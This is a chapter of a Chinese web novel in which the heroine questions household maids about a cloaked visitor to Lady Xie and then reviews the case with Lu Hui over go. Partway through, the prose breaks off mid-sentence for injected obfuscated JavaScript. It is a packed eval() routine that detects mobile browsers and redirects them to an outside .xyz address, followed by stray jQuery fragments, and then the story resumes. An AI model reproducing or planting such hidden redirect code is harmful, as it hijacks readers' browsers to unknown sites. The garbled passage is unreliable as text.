谢汐楼将话题转向了谢白杨：“今日听隋管家说，你的哥哥白杨很反对你和王友才的事，这又是怎么一回事？”


    红莲的笑容有些惨淡：“哥哥他从小和三郎一起长大，染上不少坏毛病，其中一个就是拿不准自己的身份，忘记了我们只是谢家的奴婢。他一直想让奴婢嫁给谢三郎，先不说谢三郎是否是良配，他可是谢家正正经经的主子，如何能看得上我？可哥哥偏偏就不信邪。


    “我知道他的心思，所以从来未将我和友才的事说与他听。他确实曾因一些风言风语来找过我，但奴婢坚持没告诉他真相，他应当不知道才对……”


    “我记得谢白杨以前是在谢宅伺候的，什么时候去了庄子？”


    “哥哥跟着谢三郎沉溺赌博，阿爹阿娘想要戒了他的瘾，求了夫人老爷将他送去了庄子。原想着庄子附近没有赌坊，能助他改过自新，哪成想离开了父母的看管，他直接住进了赌坊……阿爹阿娘为了哥哥的事，不知愁白了多少头发……就连奴婢也有很长时间没见到他了……”


    谢汐楼正垂眸思索红莲的话，花园外有人在呼喊红莲的名字，红莲将眼泪擦干净，拍拍脸颊，清了清嗓子，扬声道：“碗莲姐，我在这儿。”


    趁着碗莲还没到，红莲用衣袖狠狠擦拭脸颊，希望能掩饰住她的狼狈。


    碗莲快步走过来，正准备斥责红莲几句，余光瞥见了一旁的谢汐楼，吓了一跳：“奴婢见过二娘。”


    谢汐楼站起身，悠悠道：“免礼。”


    红莲主动开口解释：“奴婢和友才的事，碗莲姐知晓。她一直帮我们隐瞒，不然这事如何瞒得住这么多人？”


    谢汐楼恍然，原来红莲和王友才的事，也并非瞒住了全部的人。


    这几日的传闻，碗莲自然也有所耳闻，知晓谢汐楼是因王友才而来之后，眼神目光闪烁，分明是依旧怀疑谢汐楼，却不敢说出口的表情。


    谢汐楼才不在意她相不相信，只道：“红莲刚刚告诉我，九月初三那晚有人来找谢夫人，谢夫人将院中所有的人遣散。那人是谁？”


    碗莲愣了片刻后，皱起眉头：“夫人的事，做奴婢的哪里好打听？”


    谢汐楼不想浪费时间同她掰扯解释，直截了当威胁：“我此刻问你，你老老实实回答，我自会为你保密，不告诉他人是从哪里知道的消息。但你若执意不说，我现在就带你去见琰王，由琰王手下的人审问。你也知道，大理寺的名声向来不好，难免受些皮肉苦，忍忍也就过去了。”她靠近碗莲，伸出手轻轻拍打碗莲的脸颊，尽力让她的话更可信些，“但若行刑的人一不小心在你这脸蛋上留下什么伤，可就不好看了。”


    谢汐楼双眸幽深，唇角挂着一抹嘲讽的笑，确实有几分吓人，以至于红莲退后了半步，想要拉开与她的距离。


    碗莲犹豫片刻，对红莲道：“夫人在等你，你快去吧。”


    红莲知晓这是让她避让，忙不迭行礼告退。临走前望了一眼碗莲又望了一眼谢汐楼，眼神中明晃晃的担忧。


    待她走后，碗莲微微屈身：“二娘子，奴婢刚刚说的并非全是假话，奴婢确实不知那人是谁。”


    谢汐楼盯着她看了一会儿，确认她没有撒谎后开口：“那就将你知道的都说出来。”


    碗莲叹了口气：“夫人的事只有玉莲姐知道的最清楚，奴婢只知道，夫人每个月都有几日有客人来访。那客人总是穿着长袍披着斗篷，将自己遮得严严实实的，似乎生怕别人看到他的脸。奴婢曾远远瞧见过一回，看身形很是壮硕，像是个男子，约莫比你高个三寸。每次那人来，玉莲姐会提前在门口等着他，然后将他带到夫人院中再离开。约莫半个时辰后，院中人再回来时，那人已经不见了。”


    听碗莲的描述，这谢夫人很像是找了个男人偷情。只是这事如此大张旗鼓，闹得院中人皆知，也不怕走漏了风声？


    “谢——我父亲不知此事？”


    碗莲看了她一眼：“奴婢知道二娘怀疑夫人不忠，但这事只是猜测，谁又有真凭实据？夫人房中婢女六人，身家性命都捏在夫人手中，夫人平日里待我们不薄，又有谁会因为一个莫须有的猜测，去害夫人。更何况，若此事为真，东窗事发后，夫人院中的婢女们又会有什么好下场？还不都是驱逐出府或乱棍打死的命运。二娘，我们也只是想活着啊。”


    她的语声悲戚，仿佛在为无法掌握的命运悲哀。


    谢汐楼眼神奇怪，很想问问她为何讲这一切说得如此痛快。碗莲看懂了她的眼神，垂下眼睫：“奴婢今日与二娘说这么多，一是惧怕琰王的缘故，二是想求二娘一件事。”


    谢汐楼松了口气：“说说看。”


    “奴婢早过了婚嫁的年龄，夫人嘴上说舍不得我离开，其实就是不想放一个用着顺手的婢女走。奴婢与表哥情投意合，表哥也等了奴婢多年，奴婢实在不想再耽搁。求二娘将奴婢要去，放奴婢离开谢府吧！”


    谢汐楼定定看了她一眼，没答应也没拒绝：“待此案了结，我再给你答复。”


    碗莲离开后，谢汐楼又在原地站了一会儿，方才离开。来时是悄悄潜入谢府，潜入夫人的院子，离开时也未惊动他人。


    谢汐楼翻过几面墙，沿着小路快步行走，从角落离开谢府，小心避让周遭的人。


    待她出了谢府，纸镇凭空出现：“你信她的话？”


    谢汐楼吓了一跳：“你从哪里冒出来的？”


    纸镇冷哼一声：“还不是王爷怕府中有人对你不利，派我暗中保护。”


    谢汐楼心中甜丝丝的，唇角克制不住地扬起：“上次那是意外，我的轻功还是足够保命的。”


    纸镇白了她一眼，不做评价。


    何刺史安排的院落在梧州最繁华的地方，距离谢府和官府都不远，二人进了院子，在仆役的指引下绕过垂花门，穿过两进院落直达后院。


    后院极为宽阔，中心处有个池塘，池中心坐落着一个小岛，有木桥连通岸边。小岛不大，只建了一座亭子，远远瞧着，像飘在水面上似的。


    陆回在亭子里坐着，背脊挺直，风卷起他的衣摆，飘逸如仙人。他的面前桌上布着棋盘，黑白子星罗棋布，陆回捏着棋子一颗颗落下，黑子是他，白子也是他。


    谢汐楼看着黑子白子就犯晕，走过木桥后，倚着朱漆柱子不肯再靠近半步。


    “可有收获？”陆回放下棋子，抬起下巴，指了指对面的位子，“坐下陪我下完。


    谢汐楼耷拉着肩膀，愁眉苦脸极不情愿。


    陆回手执黑子，她执白子，边下棋，边将刚刚的事简要说给陆回听。


    陆回将黑子落下：“你相信碗莲说的话？”


    这话和刚刚纸镇说的一模一样，谢汐楼看着桌上棋局，哭丧着一张脸：“信也不信。”


    “何意？”


    “碗莲的话前后不一致，一开始说谢夫人如何好，婢女们如何不会背叛，话音还没落下，转句话又将所有的事全盘托出。这两件事是完全矛盾的，我觉得她真假参半，有所隐瞒。”


    “哪句是真，哪句是假？”


    谢汐楼将手中白子落下，刚沾到棋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037976|159869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盘又抬起，犹豫片刻落在另一个地方：“她想离开谢府是真，谢夫人那晚来客人也是真。一个是她的私心，一个是同其他人打听也能轻易得知的事，就算事后东窗事发，谢夫人也未必会猜到是她泄露，责备到她的头上。”


    陆回看着她悔棋的动作，叹了口气：“臭棋篓子也就罢了，棋品还差，也不知是从哪学的。”他顿了顿，“那假的那部分呢？”


    谢汐楼抬起眼，眸光闪烁：“她猜认识那人，不仅认识，或许还很熟悉。”


    “原因呢？”


    谢汐楼耸肩：“没有原因，只有感觉。碗莲和玉莲都是谢夫人最得力的婢女，谢夫人这事做的并不隐蔽，我不相信那人来过这许多次，碗莲连那人的样貌都没看清。红莲都能抓到机会瞧个大概，碗莲难道不会？她若真的如此乖顺，就不会求我助她离开谢家了。”


    陆回将黑子落下，收了她一半的白子，谢汐楼哭丧着脸：“我不擅下棋，咱们不下了吧。”


    她的声音带着几分央求的意思，像是在撒娇。陆回看着棋盘上的残局，叹了口气：“也罢，与你下棋，折磨的是我。”他挥手将棋局打乱，“红莲和碗莲的说辞也有对不上的地方，九月初三晚，红莲看到的是个身材瘦小之人，而据碗莲描述，谢夫人偷偷所见之人，该是个壮硕之人才是。”


    谢汐楼撑着下颌，思索着两人说话时的神情：“我觉得这俩人该是都未说谎。他们所见的或许不是一个人。碗莲所说那人，是与谢夫人幽会之人，而九月初三那日来找谢夫人的，是另一个人。只是不知道这俩人是谁，又是否和本案有关系。”


    天色渐晚，到了晚膳的时候，堂木取了几盏灯笼悬于高处，另有人在亭子四周围上纱幔阻挡夜风。


    侍女将棋盘撤走，取了披风为谢汐楼披上，亭子角落放置上燃烧的银丝炭，驱赶秋日的寒凉。


    陆回指了指谢汐楼包着白布的手：“伤口如何了？”


    谢汐楼这才意识到她的手还有伤，抬起手挥了挥：“药很好，已经没什么感觉了。”


    “伸过手来。”


    谢汐楼听话将手搁在桌面上，陆回托起她的手，拆开包裹的白色布条，露出伤口。


    伤口红肿已退，露出几条杂乱纵横的伤口，已然结痂。


    谢汐楼面露得色：“那瓷片我虽然抓得紧，却也控制着力度，瞧着严重，其实伤口并不深。现在瞧着，明后日就能好。”


    陆回取了新的白叠布和膏药，沾取涂抹在她的伤口上：“伤口易好，疤痕难消。”


    他垂着眼睫，仿佛正在做的事多么复杂，需要打起十二分的小心。谢汐楼看着他，只感觉药膏清凉，伤口酥麻，坐立不安。她想抽回手，陆回似乎洞察了她的念头，握得极紧。


    “莫动。”


    晚风卷起四周的纱幔，在空中自由飞舞，拂过她的脖颈背脊，带来新的颤栗。桂花香穿过薄纱，与陆回身上的香气混杂在一起，清淡而无法忽视。


    阴沉了一日的天在此刻逐渐晴朗，层云让出背后的残月，清冷的光穿过檐角的灯笼，似裹上了温度。


    谢汐楼恨不能将此情此景用力刻在心头，若她与陆回终究在未来的某日分道扬镳，那么她会用一生来记忆怀念。


    “陆回。”


    “嗯？”


    “陆回。”


    “嗯。”


    “陆回……”


    “……”


    晚风徐徐，池塘边的青蛙呱呱齐鸣，月色映在池中水纹上如碎了一地的琉璃，亭中二人心意相通，正是好时光。